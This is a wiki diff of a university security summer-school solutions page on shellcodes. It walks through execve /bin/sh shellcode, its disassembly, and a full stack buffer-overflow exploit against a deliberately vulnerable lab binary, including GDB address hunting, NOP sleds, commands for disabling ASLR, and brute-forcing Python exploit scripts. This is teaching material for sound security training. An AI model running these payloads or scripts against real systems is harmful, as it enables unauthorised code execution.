Differences

This shows you the differences between two versions of the page.

--- session:solution:08 [2015/07/07 16:49] – created Razvan Deaconescu
+++ session:solution:08 [2020/07/19 09:49] (current) – external edit 127.0.0.1
@@ Line 1: / Line 1: @@
-====== Session 08 Solutions ======
+====== 0x08. Shellcodes (solutions) ======
-===== Simple Syscall =====
+[[http://security.cs.pub.ro/summer-school/res/arc/08-shellcodes-sol.zip|Solutions archive]]
-TODO
+===== Create and disassemble binary shellcodes =====
-===== Looping Math =====
+We extract the two shellcode byte strings from the given links ([[http://shell-storm.org/shellcode/files/shellcode-216.php|1]], [[http://shell-storm.org/shellcode/files/shellcode-827.php|2]]):<code>
+$ cat 216.print
+\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff
+$ cat 827.print
+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
+</code>
-TODO
+and then we use ''echo'' to generate two binary shellcode files:<code>
+$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin
+$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin
+</code>
-===== Call Secret Function =====
+Afterwards, we disassemble the binary shellcode files:<code>
+$ objdump -D -b binary -m i386 -M intel 827.bin
+.bin:     file format binary
+Disassembly of section .data:
+00000000 <.data>:
+:	31 c0                	xor    eax,eax
+:	50                   	push   eax
+:	68 2f 2f 73 68       	push   0x68732f2f
+:	68 2f 62 69 6e       	push   0x6e69622f
+   d:	89 e3                	mov    ebx,esp
+   f:	50                   	push   eax
+:	53                   	push   ebx
+:	89 e1                	mov    ecx,esp
+:	b0 0b                	mov    al,0xb
+:	cd 80                	int    0x80
+$ objdump -D -b binary -m i386 -M intel 216.bin
+.bin:     file format binary
+Disassembly of section .data:
+00000000 <.data>:
+:	6a 46                	push   0x46
+:	58                   	pop    eax
+:	31 db                	xor    ebx,ebx
+:	31 c9                	xor    ecx,ecx
+:	cd 80                	int    0x80
+:	eb 21                	jmp    0x2c
+   b:	5f                   	pop    edi
+   c:	6a 0b                	push   0xb
+   e:	58                   	pop    eax
+   f:	99                   	cdq
+:	52                   	push   edx
+:	66 68 2d 63          	pushw  0x632d
+:	89 e6                	mov    esi,esp
+:	52                   	push   edx
+:	68 2f 2f 73 68       	push   0x68732f2f
+d:	68 2f 62 69 6e       	push   0x6e69622f
+:	89 e3                	mov    ebx,esp
+:	52                   	push   edx
+:	57                   	push   edi
+:	56                   	push   esi
+:	53                   	push   ebx
+:	89 e1                	mov    ecx,esp
+a:	cd 80                	int    0x80
+c:	e8 da ff ff ff       	call   0xb
+</code>
+and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files.
+===== Call Trampoline =====
 TODO
-===== No Exit =====
+===== Exploit with Known Buffer Address =====
 TODO
-===== Extra: Obfuscation =====
+===== Brute-Forcing the Buffer Address =====
 TODO
-===== Extra: Platform-independent =====
+===== NOP Sled =====
 TODO
+===== Task: Buffer is too small: Use environment variable to store the shellcode =====
+<note>
+The log file created with [[http://man7.org/linux/man-pages/man1/script.1.html|script]] is {{:session:solution:shellcode-in-envvar.scr|this}}. You may use ''cat'' over the script file to print it.
+</note>
+We first compile out the source code files:<code>
+$ make
+cc -m32 -Wall -fno-stack-protector -g   -c -o vuln.o vuln.c
+cc -m32 -zexecstack  vuln.o   -o vuln
+</code>
+We want to generate the payload for the shellcode. In order to find it easily in memory, we add ''32'' ''A'' characters at the beginning of the payload. We name the file ''shellcode_payload''<code>
+$ perl -e 'print "A"x32,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > shellcode_payload
+$ xxd shellcode_payload
+00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+00000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
+00000030: 5389 e131 d2b0 0bcd 80                   S..1.....
+</code>
+This payload will be the contents of the environment variable where we are going to jump. Let's run the program under GDB with this environment variable defined:<code>
+$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln
+Reading symbols from ./vuln...done.
+gdb-peda$ start
+[...]
+gdb-peda$ find "AAAAAAAAA" $esp $esp+1000
+Searching for 'AAAAAAAAA' in range: 0xbffff240 - 0xbffff628
+Found 3 results, display max 3 items:
+[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+gdb-peda$ show env
+SHELLCODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�Ph//shh/bin��PS��1Ұ
+XDG_VTNR=7
+ORBIT_SOCKETDIR=/tmp/orbit-razvan
+</code>
+We've found the contents of the variable at address ''0xbffff5b7'' through the use of the ''find'' GDB command. We've double checked the variable using the ''show env'' command. In PEDA it's even easier to find a string by using the ''searchmem'' command without any range:<code>
+gdb-peda$ searchmem AAAAAAAAA
+Searching for 'AAAAAAAAA' in: None ranges
+Found 3 results, display max 3 items:
+[stack] : 0xbffff5b7 ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+[stack] : 0xbffff5c0 ('A' <repeats 23 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+[stack] : 0xbffff5c9 ('A' <repeats 14 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+</code>
+Moreover, we could have directly looked for environment variables using the ''environ'' pointer:<code>
+gdb-peda$ x/10s * ((char **) environ)
+xbffff505:	"XDG_VTNR=7"
+xbffff510:	"ORBIT_SOCKETDIR=/tmp/orbit-razvan"
+xbffff532:	"SSH_AGENT_PID=3948"
+xbffff545:	"XDG_SESSION_ID=1"
+xbffff556:	"TERMINATOR_UUID=urn:uuid:40160cae-8752-4a46-adb6-cfa4c53a5bba"
+xbffff594:	"XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/razvan"
+xbffff5c6:	"SHELLCODE=", 'A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀"
+xbffff60a:	"TERM=xterm"
+xbffff615:	"SHELL=/bin/bash"
+xbffff625:	"PT5HOME=/usr/local/PacketTracer5"
+</code>
+The address above is different because we've used a different program run and the values changed.
+By removing the padding we find out the address of the shellcode in memory<code>
+$ python -c 'print hex(0xbffff5b7+32)'
+xbffff5d7
+</code>
+This (''0xbffff5d7'') is the address where we have to jump to trigger the execution of the shellcode.
+In the same GDB session let's also find out the difference between the start address of the ''buffer'' local variable and the address where the function return address is stored:<code>
+gdb-peda$ disassemble do_nothing_successfully
+Dump of assembler code for function do_nothing_successfully:
+x0804847b <+0>:	push   ebp
+x0804847c <+1>:	mov    ebp,esp
+x0804847e <+3>:	sub    esp,0x18
+x08048481 <+6>:	sub    esp,0x8
+x08048484 <+9>:	push   DWORD PTR [ebp+0x8]
+x08048487 <+12>:	lea    eax,[ebp-0x10]
+x0804848a <+15>:	push   eax
+x0804848b <+16>:	call   0x8048350 <strcpy@plt>
+x08048490 <+21>:	add    esp,0x10
+x08048493 <+24>:	movzx  eax,BYTE PTR [ebp-0x10]
+x08048497 <+28>:	mov    edx,eax
+x08048499 <+30>:	sar    dl,0x7
+x0804849c <+33>:	shr    dl,0x5
+x0804849f <+36>:	add    eax,edx
+x080484a1 <+38>:	and    eax,0x7
+x080484a4 <+41>:	sub    eax,edx
+x080484a6 <+43>:	cmp    al,0x3
+x080484a8 <+45>:	jne    0x80484ae <do_nothing_successfully+51>
+x080484aa <+47>:	mov    BYTE PTR [ebp-0x10],0x61
+x080484ae <+51>:	leave
+x080484af <+52>:	ret
+End of assembler dump.
+gdb-peda$ b *0x08048497
+Breakpoint 2 at 0x8048497: file vuln.c, line 12.
+gdb-peda$ c
+[...]
+Breakpoint 2, 0x08048497 in do_nothing_successfully (str=0xbffff244 "aaaa\n") at vuln.c:12
+		if (buffer[0] % 8 == 3)
+gdb-peda$ p &buffer
+$3 = (char (*)[8]) 0xbffff218
+gdb-peda$ p $ebp+4
+$4 = (void *) 0xbffff22c
+gdb-peda$
+</code>
+We've used a breakpoint right after the call of ''strcpy()'' and we've found out the address of the ''buffer'' local variable (''0xbffff218'') and of the function return address (''0xbffff22c''). We compute the difference:<code>
+$ python -c 'print 0xbffff22c-0xbffff218'
+</code>
+So we'll have to create a payload to trigger the attack that consists of 20 bytes of padding (we'll use ''20'' bytes of ''A'') followed by the address we want to jump to, the address of the shellcode as content of the environment variable (''0xbffff5d7'').
+Let's now create the trigger payload in the file ''overflow_padding'':<code>
+$ perl -e 'print "A"x20,"\xd7\xf5\xff\xbf","\n"' > overflow_payload
+$ xxd overflow_payload
+00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+00000010: 4141 4141 d7f5 ffbf 0a                   AAAA.....
+</code>
+This can now be fed as input to our program and we should end up with a shell in GDB. Let's try it:<code>
+$ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln
+Reading symbols from ./vuln...done.
+gdb-peda$ start < overflow_payload
+[...]
+gdb-peda$ x/20i 0xbffff5d7
+xbffff5d7:	xor    eax,eax
+xbffff5d9:	push   eax
+xbffff5da:	push   0x68732f2f
+xbffff5df:	push   0x6e69622f
+xbffff5e4:	mov    ebx,esp
+xbffff5e6:	push   eax
+xbffff5e7:	push   ebx
+xbffff5e8:	mov    ecx,esp
+xbffff5ea:	xor    edx,edx
+xbffff5ec:	mov    al,0xb
+xbffff5ee:	int    0x80
+xbffff5f0:	add    BYTE PTR [ebx+0x48],dl
+xbffff5f3:	inc    ebp
+xbffff5f4:	dec    esp
+xbffff5f5:	dec    esp
+xbffff5f6:	cmp    eax,0x6e69622f
+xbffff5fb:	das
+xbffff5fc:	bound  esp,QWORD PTR [ecx+0x73]
+xbffff5ff:	push   0x52455400
+xbffff604:	dec    ebp
+gdb-peda$ c
+Continuing.
+process 30574 is executing new program: /bin/dash
+[Inferior 1 (process 30574) exited normally]
+Warning: not running or target is remote
+gdb-peda$
+</code>
+Yes! It works! You can see that we've double checked the placement of the shellcode by disassembling that specific area using ''x/20i 0xbffff5d7''.
+Of course, this address only works in GDB, we'll have to make it work in the "real world" as well. First we check whether ASLR is disabled<code>
+$ ldd ./vuln
+	linux-gate.so.1 (0xb7ffd000)
+	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
+	/lib/ld-linux.so.2 (0x41000000)
+$ ldd ./vuln
+	linux-gate.so.1 (0xb7ffd000)
+	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000)
+	/lib/ld-linux.so.2 (0x41000000)
+</code>
+As library files are placed in the same location, we conclude ASLR is disabled.
+<note tip>
+If ASLR would have been enabled, we could have disabled it using **either** of the two commands below:
+<code>
+$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+$ linux32 -3 -R bash -l
+</code>
+</note>
+Let's now see what happened if we ran the program with the current ''overflow_payload'':<code>
+$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln
+ps
+Segmentation fault
+</code>
+As expected it doesn't work so we'll see what caused the delivery of ''SIGSEGV'':<code>
+razvan@einherjar:~/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar$ dmesg
+[212063.796532] show_signal_msg: 300 callbacks suppressed
+[212063.796544] vuln[32251]: segfault at 45 ip 00000000bffff5e5 sp 00000000bffff30d error 6
+</code>
+The program failed at EIP ''0xbffff5e5''. We jumped to the address in the ''overflow_payload'' file but it differs in "real world" than in GDB.
+We can use a nice trick to identify the address we need to jump to. We can start the program and not provide input to it.
+$ SHELLCODE=$(cat shellcode_payload) ./vuln
+</code>
+<note>
+For this part you may check the [[http://man7.org/linux/man-pages/man1/script.1.html|script]] log file {{:session:solution:shellcode-in-envvar-gdb.scr|here}}.
+</note>
+Now the program expects a form of input. We make use of the fact that the program is blocked and connect to it through GDB on another console:<code>
+$ gdb -q -p $(pidof vuln)
+Attaching to process 2692
+Reading symbols from /home/razvan/projects/ctf/sss/summerschool2014.git/sessions/sess-09/skel/shellcode-in-envvar/vuln...done.
+Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
+Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
+Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
+Loaded symbols for /lib/ld-linux.so.2
+[...]
+gdb-peda$
+</code>
+While in GDB we undertake the same steps we took above to find out the address of the shellcode payload:<code>
+gdb-peda$ find "AAAAAAAAAAAAAA" $esp $esp+1000
+Searching for 'AAAAAAAAAAAAAA' in range: 0xbffff1d8 - 0xbffff5c0
+Found 2 results, display max 2 items:
+[stack] : 0xbffff56c ('A' <repeats 32 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+[stack] : 0xbffff57a ('A' <repeats 18 times>, "1\300Ph//shh/bin\211\343PS\211\341\061Ұ\v̀")
+gdb-peda$
+</code>
+We did it! The address is ''0xbffff56c'' and we'll use that to compute the start of the shellcode:<code>
+$ python -c 'print hex(0xbffff56c+32)'
+xbffff58c
+</code>
+The shellcode starts at address ''0xbffff58c''. We'll now use that address to reconstruct the ''overflow_payload'' file:<code>
+$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload
+</code>
+Now that's done, let's try exploiting the program again:<code>
+$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln
+ps
+  PID TTY          TIME CMD
+pts/7    00:00:00 cat
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+pts/7    00:00:00 bash
+</code>
+Excellent! It worked! We managed to find the "the real" world address of the shellcode in the environment variable, and we've triggered a jump to it.
+==== Searching for the address ====
+<note>
+The [[http://man7.org/linux/man-pages/man1/script.1.html|script]] log file for this section is {{:session:solution:shellcode-in-envvar-search.scr|this}}. You may use ''cat'' over the file to get the transcript.
+</note>
+Let's now assume we wouldn't have been able to have the program blocked and we couldn't connect with GDB to it and extract the jump address. In that case we would need to search for the location to jump.
+To make it easier we would also insert plenty of ''NOP'' operations at the beginning of the shellcode payload. If we were to jump to any address inside the ''NOP''-filled area shellcode, we would simply "slide" towards the shellcode; this is also called a ''NOP'' sled.
+Also we would need to jump to different addresses and try running the executable and see whether we found a correct address. For that we would use a variable and increment with a given offset and retry until we get the shell.
+To automate all this process we've created a Python script dubbed ''exploit.py'':<file Python exploit.py>
+#!/usr/bin/env python
+import struct
+import os
+import sys
+import subprocess
+def write_to_file(filename, data):
+    f = open(filename, "w")
+    f.write(data)
+    f.close()
+nop_padding_len = 128
+NOP = "\x90"
+shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
+shellcode_payload = NOP*nop_padding_len + shellcode
+write_to_file("shellcode_payload", shellcode_payload)
+# Start from address and create overflow_payload to jump to that address.
+# Increment address by step bytes and retry. For each payload launch
+# executable through subprocess.call().
+step = nop_padding_len / 2
+start_address=0xbffff300
+for offset_index in range(0, 64):
+    # Create overflow payload.
+    jump_address = start_address + step*offset_index
+    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
+    write_to_file("overflow_payload", overflow_payload)
+    # Print address and launch executable.
+    print >> sys.stderr, "using address 0x%08x" % (jump_address)
+    subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
+</file>
+We start from address ''0xbffff300'' the address we know the stack should be around at the time we call the ''do_nothing_successfully()'' function. We increment by ''64'' bytes the jump address and we construct the ''overflow_payload'' file according to that. For the ''shellcode_payload'' file we add ''128'' bytes of padding (using character ''A''). We run the program through ''subprocess.call()''.
+We execute the ''exploit.py'' script and we insert the ''ps'' command to find out the address when we are getting a shell:<code>
+$ ./exploit.py
+using address 0xbffff300
+Segmentation fault
+ps
+cat: write error: Broken pipe
+using address 0xbffff340
+Segmentation fault
+ps
+[...]
+using address 0xbfffff80
+ps
+  PID TTY          TIME CMD
+pts/7    00:00:00 bash
+pts/7    00:00:00 python
+pts/7    00:00:00 sh
+pts/7    00:00:00 cat
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+ps
+  PID TTY          TIME CMD
+pts/7    00:00:00 bash
+pts/7    00:00:00 python
+pts/7    00:00:00 sh
+pts/7    00:00:00 cat
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+^C
+</code>
+Finally! We found that the address ''0xbfffff80'' works. However it took quite a lot of key pressing to get to that. It would help if we could do it faster. Let's just feed ''64'' messages of ''ps\n'' to the script:<code>
+$ perl -e 'print "ps\n"x64' | ./exploit.py
+[...]
+Segmentation fault
+using address 0xbfffff00
+Segmentation fault
+using address 0xbfffff40
+Segmentation fault
+using address 0xbfffff80
+using address 0xbfffffc0
+using address 0xc0000000
+Segmentation fault
+using address 0xc0000040
+Segmentation fault
+[...]
+</code>
+We don't get anything useful, but what we do get are a couple of addresses (''0xbfffff80'', ''0xbfffffc0'') that are not followed by a //Segmentation fault// message. There are the ones we need. The reason they don't show any output has to do with input buffering and we'll talk about that soon.
+Actually, even if we fed ''/dev/input'' to the ''exploit.py'' script we would get the same result.<code>
+$ cat /dev/null | ./exploit.py
+[...]
+Segmentation fault
+using address 0xbfffff00
+Segmentation fault
+using address 0xbfffff40
+Segmentation fault
+using address 0xbfffff80
+using address 0xbfffffc0
+using address 0xc0000000
+Segmentation fault
+using address 0xc0000040
+Segmentation fault
+[...]
+</code>
+Now that we know the address we can update the ''exploit.py'' script:<file Python exploit-direct.py>
+#!/usr/bin/env python
+import struct
+import os
+import sys
+import subprocess
+def write_to_file(filename, data):
+    f = open(filename, "w")
+    f.write(data)
+    f.close()
+nop_padding_len = 128
+NOP = "\x90"
+shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
+shellcode_payload = NOP*nop_padding_len + shellcode
+write_to_file("shellcode_payload", shellcode_payload)
+# Start from address and create overflow_payload to jump to that address.
+# Increment address by step bytes and retry. For each payload launch
+# executable through os.system().
+step = nop_padding_len / 2
+start_address=0xbfffff80
+for offset_index in range(0, 1):
+    # Create overflow payload.
+    jump_address = start_address + step*offset_index
+    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
+    write_to_file("overflow_payload", overflow_payload)
+    # Print address and launch executable.
+    print >> sys.stderr, "using address 0x%08x" % (jump_address)
+    subprocess.call("cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
+</file>
+In it's current version the script uses the correct address ''0xbfffff80'' and triggers a jump to it. If we run it, it will provide the expected outcome: the creation of a shell:<code>
+$ ./exploit.py
+using address 0xbfffff80
+ps
+  PID TTY          TIME CMD
+pts/7    00:00:00 bash
+pts/7    00:00:00 python
+pts/7    00:00:00 sh
+pts/7    00:00:00 cat
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+ls
+Makefile  exploit.py  overflow_payload	shellcode_payload  vuln  vuln.c  vuln.o
+</code>
+==== Searching for the address with running commands ====
+<note>
+The [[http://man7.org/linux/man-pages/man1/script.1.html|script]] log file for this section is {{:session:solution:shellcode-in-envvar-proper-search.scr|this}}. You may use ''cat'' over the file to get the transcript.
+</note>
+We've seen above that using a series of ''ps\n'' commands at the end of the payload didn't provide the expected output from the shell, though it seemed to work.
+First, let's restore the ''overflow_payload'' file to do an investigation on a running solution:<code>
+$ perl -e 'print "A"x20,"\x8c\xf5\xff\xbf","\n"' > overflow_payload
+$ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln
+ps
+  PID TTY          TIME CMD
+pts/7    00:00:00 bash
+pts/7    00:00:00 cat
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+</code>
+Let's append a ''ps'' string to the payload and pass it to the vulnerable program:<code>
+$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) ./vuln
+$
+</code>
+Nothing happens, though the shell should receive the ''ps'' command.
+Let's investigate using ''strace'' on one ''ps'' string and the ''100'' such strings:<code>
+$ cat overflow_payload <(echo "ps") | SHELLCODE=$(cat shellcode_payload) strace ./vuln
+[...]
+read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\nps\n", 4096) = 28
+--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} ---
++++ killed by SIGSEGV +++
+Segmentation fault
+$ cat overflow_payload <(perl -e 'print "ps"x100') | SHELLCODE=$(cat shellcode_payload) strace ./vuln
+execve("./vuln", ["./vuln"], [/* 38 vars */]) = 0
+[...]
+read(0, "AAAAAAAAAAAAAAAAAAAA\214\365\377\277\npspspsp"..., 4096) = 225
+--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} ---
++++ killed by SIGSEGV +++
+Segmentation fault
+</code>
+From the ''strace'' output we've only selected the final ''read'' system call. We can now see that there is a singular ''read'' system call that reads all the data and then expects something else. When the shell starts the input is simply empty.
+<note>
+We haven't managed to find out the cause of ''SIGSEGV'' being delivered when the program is run under ''strace''. We're still investigating.
+</note>
+So our idea is to fill the size of the read buffer (''4096'', see the third argument of the ''read'' system call) and then provide the command. Because the ''overflow_payload'' file occupies ''25'' bytes we need a padding of ''4096-25 = 4071'' bytes. We add this padding and then the ''ps'' string and run the command again:<code>
+$ cat overflow_payload <(perl -e 'print "B"x4071,"ps\n"') | SHELLCODE=$(cat shellcode_payload) ./vuln
+  PID TTY          TIME CMD
+pts/7    00:00:00 bash
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+</code>
+Yes! We've manage to run the ''ps'' command after adding the padding.
+Let's give up the rather uncomfortable ''<(...)'' construct and use files for the padding and for commands<code>
+$ perl -e 'print "B"x4071' > padding
+$ perl -e 'print "ps\ndf\nls\n"' > commands
+$ cat commands
+ps
+df
+ls
+$ cat overflow_payload padding commands |  SHELLCODE=$(cat shellcode_payload) ./vuln
+  PID TTY          TIME CMD
+pts/7    00:00:01 bash
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+Filesystem     1K-blocks      Used Available Use% Mounted on
+/dev/sda7       38314312  21653240  14691616  60% /
+udev               10240         0     10240   0% /dev
+tmpfs            1616344     51304   1565040   4% /run
+tmpfs            4040856      1204   4039652   1% /dev/shm
+tmpfs               5120         4      5116   1% /run/lock
+tmpfs            4040856         0   4040856   0% /sys/fs/cgroup
+/dev/sda6         944120     97480    781464  12% /boot
+/dev/sda8      353556532 316991516  18582296  95% /home
+tmpfs             808172         4    808168   1% /run/user/130
+tmpfs             808172        32    808140   1% /run/user/1000
+Makefile  commands  exploit.py	overflow_payload  padding  shellcode_payload  vuln  vuln.c  vuln.o
+</code>
+This looks better and cleaner. We are using two additional files: ''padding'' for storing the padding and ''commands'' for storing the commands.
+Let's update the ''exploit.py'' script to ''exploit-with-proper-search.py'':<file Python exploit-with-proper-search.py>
+#!/usr/bin/env python
+import struct
+import sys
+import subprocess
+def write_to_file(filename, data):
+    f = open(filename, "w")
+    f.write(data)
+    f.close()
+nop_padding_len = 128
+NOP = "\x90"
+shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
+shellcode_payload = NOP*nop_padding_len + shellcode
+write_to_file("shellcode_payload", shellcode_payload)
+# Start from address and create overflow_payload to jump to that address.
+# Increment address by step bytes and retry. For each payload launch
+# executable through subprocess.call().
+step = nop_padding_len / 2
+start_address=0xbffff300
+for offset_index in range(0, 64):
+    # Create overflow payload.
+    jump_address = start_address + step*offset_index
+    overflow_payload = 20*"A" + struct.pack("<I", jump_address) + "\n"
+    write_to_file("overflow_payload", overflow_payload)
+    # Print address and launch executable.
+    print >> sys.stderr, "using address 0x%08x" % (jump_address)
+    subprocess.call("cat overflow_payload padding commands | SHELLCODE=$(cat shellcode_payload) ./vuln", shell=True)
+</file>
+In the script we are now using the two new files to execute commands through the new shell.
+Let's see how that works:<code>
+$ ./exploit-with-proper-search.py 2>&1 | grep -C 10 PID
+Segmentation fault
+using address 0xbffffe80
+Segmentation fault
+using address 0xbffffec0
+Segmentation fault
+using address 0xbfffff00
+Segmentation fault
+using address 0xbfffff40
+Segmentation fault
+using address
+  PID TTY          TIME CMD
+pts/7    00:00:01 bash
+pts/7    00:00:00 python
+pts/7    00:00:00 grep
+pts/7    00:00:00 sh
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+Filesystem     1K-blocks      Used Available Use% Mounted on
+/dev/sda7       38314312  21653296  14691560  60% /
+udev               10240         0     10240   0% /dev
+tmpfs            1616344     51304   1565040   4% /run
+--
+commands
+exploit-with-proper-search.py
+exploit.py
+overflow_payload
+padding
+shellcode_payload
+vuln
+vuln.c
+vuln.o
+using address 0xbfffffc0
+  PID TTY          TIME CMD
+pts/7    00:00:01 bash
+pts/7    00:00:00 python
+pts/7    00:00:00 grep
+pts/7    00:00:00 sh
+pts/7    00:00:00 sh
+pts/7    00:00:00 ps
+Filesystem     1K-blocks      Used Available Use% Mounted on
+/dev/sda7       38314312  21653296  14691560  60% /
+udev               10240         0     10240   0% /dev
+tmpfs            1616344     51304   1565040   4% /run
+</code>
+It works great! We are able to run the commands in the ''commands'' file through the newly created shell and we are alos able to detect the address where the shellcode is located: ''0xbfffff80''.